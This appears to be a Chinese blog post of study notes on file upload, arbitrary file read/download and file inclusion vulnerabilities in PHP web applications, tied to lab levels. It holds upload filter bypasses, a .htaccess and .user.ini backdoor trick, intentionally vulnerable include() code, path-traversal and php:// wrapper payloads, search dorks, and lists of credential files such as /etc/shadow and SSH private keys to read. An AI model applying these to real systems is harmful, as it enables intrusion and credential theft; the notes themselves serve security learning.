文件类漏洞

一:文件上传漏洞

1、文件上传过程中,前端或者后端对上传的文件未做有效的过滤,导致恶意者上传一些带恶意代码的文件进入后台。

分类:

从验证地方分为:前端验证和后端验证,前端验证绕过方式可通过禁用js或者修改数据包(lab l1)。后端绕过请看下文。

从验证方式分为:白名单和黑名单,白名单:可通过修改MIME值(content/TYPE)(lab l2),%00绕过(①)(lab 12 13),上传图片马(⑥)(lab 14-17),条件竞争(⑦)(lab18 19),加.\(⑧) (lab l20),数组(⑨)(lab 21)

黑名单:可通过转换文件名(②),htaccess(③),user.ini(④),大写,双拼,后缀加空格,加点,加空格和点,加::$DATA(⑤)

注释:

①%00截断绕过(0x00截断,%00截断)

无论0x00还是%00,最终被解析后都是一个东西:chr(0),当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。get方法时直接在url进行编码,可直接用(lab L12)。post方式需要对%00进行编码(lab L13)。

②文件后缀可通过以下绕过:PHP php=php3=phtml   ASP ASA=CER=CDX  ASPS  ASHX=ASMX JSP JSPX=JSPF

③(常见于apache ,nginx要引用.htaccess也可以,但是还要进行某部分修改)

1.什么是htaccess?

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

2.htaccess的功能有哪些?

通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

使用.htaccess改变配置,让他将我们的文件解析成php

3.把php版本改为5.2.17的

4.新建文件名字为:.htaccess 文件内容为:

# FileMatch 参数即为文件名的正则匹配
<FilesMatch "helo">
SetHandler application/x-httpd-php
</FilesMatch>

上传文件名带helo的都当作php文件执行,

④.user.ini  首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。

 

 首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

或者

auto_append_file=test.jpg

然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可.

⑤加.加空格或者::$DATA都用于windows(服务器)

windows在解析::$DATA字符串时,会过滤::$DATA后面的字符串,把::$DATA前的数据当文件流处理。

⑥图片马,用copy *.jpg /b + *.php  /a  *.jpg合成图片马,或者在bp中添加php语言来组成恶意图片。需配合文件包含漏洞执行。

⑦条件竞争,需要具备文件上传到服务器后再验证的场景。

条件竞争上传是一种服务器端的漏洞,由于后端程序操作逻辑不合理导致。
由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生,此漏洞一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

二:任意文件读取和下载

一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等。

0x02任意文件读取漏洞
任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。严重的话,就可能导致SSRF,进而漫游至内网。
漏洞产生原因

存读取文件的函数

读取文件的路径用户可控,且未校验或校验不严
输出了文件内容
任意文件读取

文件读取函数
readfile()、file_get_contents()、fopen()中,$filename没有经过校验或者校验不合格,用户可控制变量读取任意文件,如/etc/passwd、./index.php、/config.ini。

0x03任意文件下载漏洞
一些网站由于业务需求,往往需要提供文件下载功能,但若对用户下载的文件不做限制,则恶意用户就能够下载任意敏感文件,这就是文件下载漏洞。
漏洞产生原因

有读取文件的函数
读物文件的路径用户可控,且没有经过校验,或者校验不严格
输出文件内容
一个正常的网站,存在一个下载文件的功能,同时还会从浏览器接收文件名字
文件下载的两种方式
1、直接下载:

<a href=”http://www.a.com/xxx.rar”>下载</a>
1
2、增加header头

<?php
$filename = $_GET['filename'];
echo '<h1>讲开始下载文件!</h1><br /><br />';
echo file_get_contents($filename);

header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>

9
漏洞利用方式

利用思路

下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。
尝试读取/root/.bash_history看自己是否具有root权限。
如果没有,就只能利用../来回跳转读取一些.ssh下的配置信息文件。
读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载需要审计的代码文件,但是下载的时候变得很繁琐,只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。

一些常见利用方式

java+oracle环境
可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器。

也可以先下载网站的配置文件,在根目录/WEB-INF/Web.xml的(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)。

具有root权限
在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。

当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞将mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。
locate 读取方法

locate mlocate.db admin
1
可以将mlocate.db中包含admin内容全部输出来。

利用这个文件可以获取到该服务器任何我们想要的内容并下载出来而不用一个一个去猜解目录,但是这个文件只有root用户才能读取。另一方面我们也可以利用linux内核的一个文件/proc/self/cmdline当前进程的cmdline参数,可以获取到路径信息。

总的来说,任意文件下载漏洞的利用主要是为了信息收集,我们通过对服务器配置文件的下载,获取到大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。

0x04任意文件读取与下载漏洞挖掘
1、web漏洞扫描器(awvs、appscan、openvas、nessus)
2、手动挖掘从连接和参数名查看

Google search

inurl:”readfile.php?file=
inurl:”read.php?filename=
inurl:”download.php?file=
inurl:”down.php?file=
1
2
3
4
连接:
readfile.php?file=**.txt
download.php?file=**.rar
参数名:
&RealPath=、&readpath=、&FilePath=、&filepath=、&Path=、&path=、&Inputfile=、&inputfile=、&url=、&urls=、&Lang=、&dis=、&Data=、&data=、&readfile=、&filep=、&Src=、&src=、&menu=、META-INF= 、WEB-INF

0x05敏感信息
Windows:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

三、文件包含漏洞

文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  • 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
  • 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
  • 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。
    • include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行
    • include_once: 这个函数跟和include语句相似,惟一区别是若是该文件中已经被包含过,则不会再次包含
    • require: 跟include惟一不一样的是,当产生错误时候,整个php文件中止运行
    • require_once: require_once语句和require 语句彻底相同,惟一区别是PHP会检查该文件是否已经被包含过,若是是则不会再次包含

    注:这四个函数无论执行哪一个后缀的文件,都将他看成php文件执行

文件包含分为两类:
本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。

文件包含特征

?page=a.php
?home=b.html
?file=content

检测方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

php伪协议

> PHP带有不少内置URL风格的封装协议,可用于相似fopen()、copy()、file_exists()和filesize()的文件系统函数。 除了这些封装协议,还能经过stream_wrapper_register()来注册自定义的封装协议

php://

php:// — 访问各个输入/输出流(I/O streams)

说明
PHP 提供了一些杂项输入/输出(IO)流,容许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及能够操做其余读取写入文件资源的过滤器。

php://filter

元封装器,设计用于"数据流打开”时的"筛选过滤”应用,对本地磁盘文件进行读写
只是读取,须要开启 allow_url_fopen,不须要开启 allow_url_include

(1)输出进行base64加密后的信息

?file=php://filter/convert.base64-encode/resource=xx.php
等于
?file=php://filter/read=convert.base64-encode/resource=xx.php

(2)test.php源码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

(3)利用实例
在这里插入图片描述

php://input(读取POST数据)

(1)前言:

能够访问请求的原始数据的只读流。便可以直接读取到POST上没有通过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的
条件:开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)

(2)test.php测试代码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

注:查看当前运行的是哪一个php.ini

  • 打印出phpinfo(),找到Loaded Configuration File那一行
  • php -i |grep php.ini(php -i其实就是输出phpinfo)
  • php -r “phpinfo();” |grep php.ini

(3)利用实例
① 读取POST提交的数据
在这里插入图片描述

② 执行php或系统命令
在这里插入图片描述

③ 经过php://input写入一句话

在这里插入图片描述在这里插入图片描述f

ile://伪协议(读取文件内容)

在这里插入图片描述

五、data://伪协议(读取文件)
(1)前言:这个和php://input相似,均可以执行php指令
(2)格式:

data://text/plain;base64,base64加密的代码

(3)test.php测试代码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

(4)例:
在这里插入图片描述

五、phar://伪协议

(1)前言:这个参数是就是php解压缩包的一个函数,无论后缀是什么,都会当作压缩包来解压

注意: PHP > =5.3.0 压缩包须要是zip协议压缩,rar不行,将木马文件压缩后,改成其余任意格式的文件均可以正常使用

(2)格式:

?file=phar://压缩包名/内部文件名
例:phar://x.zip/x.php

(3)test.php测试代码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

(4)例
写一个一句话木马文件,压缩为.zip后缀的压缩包文件,而后利用php://char进行利用
在这里插入图片描述
在这里插入图片描述

六、zip://伪协议

(1)前言

zip伪协议和phar协议相似,可是用法不同
注:条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才能够 #在浏览器中要编码为%23,不然浏览器默认不会传输特殊字符

(2)格式

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
例: zip://xxx.png#shell.php
posted on 2022-03-04 16:03  乒·乓  阅读(255)  评论(0编辑  收藏  举报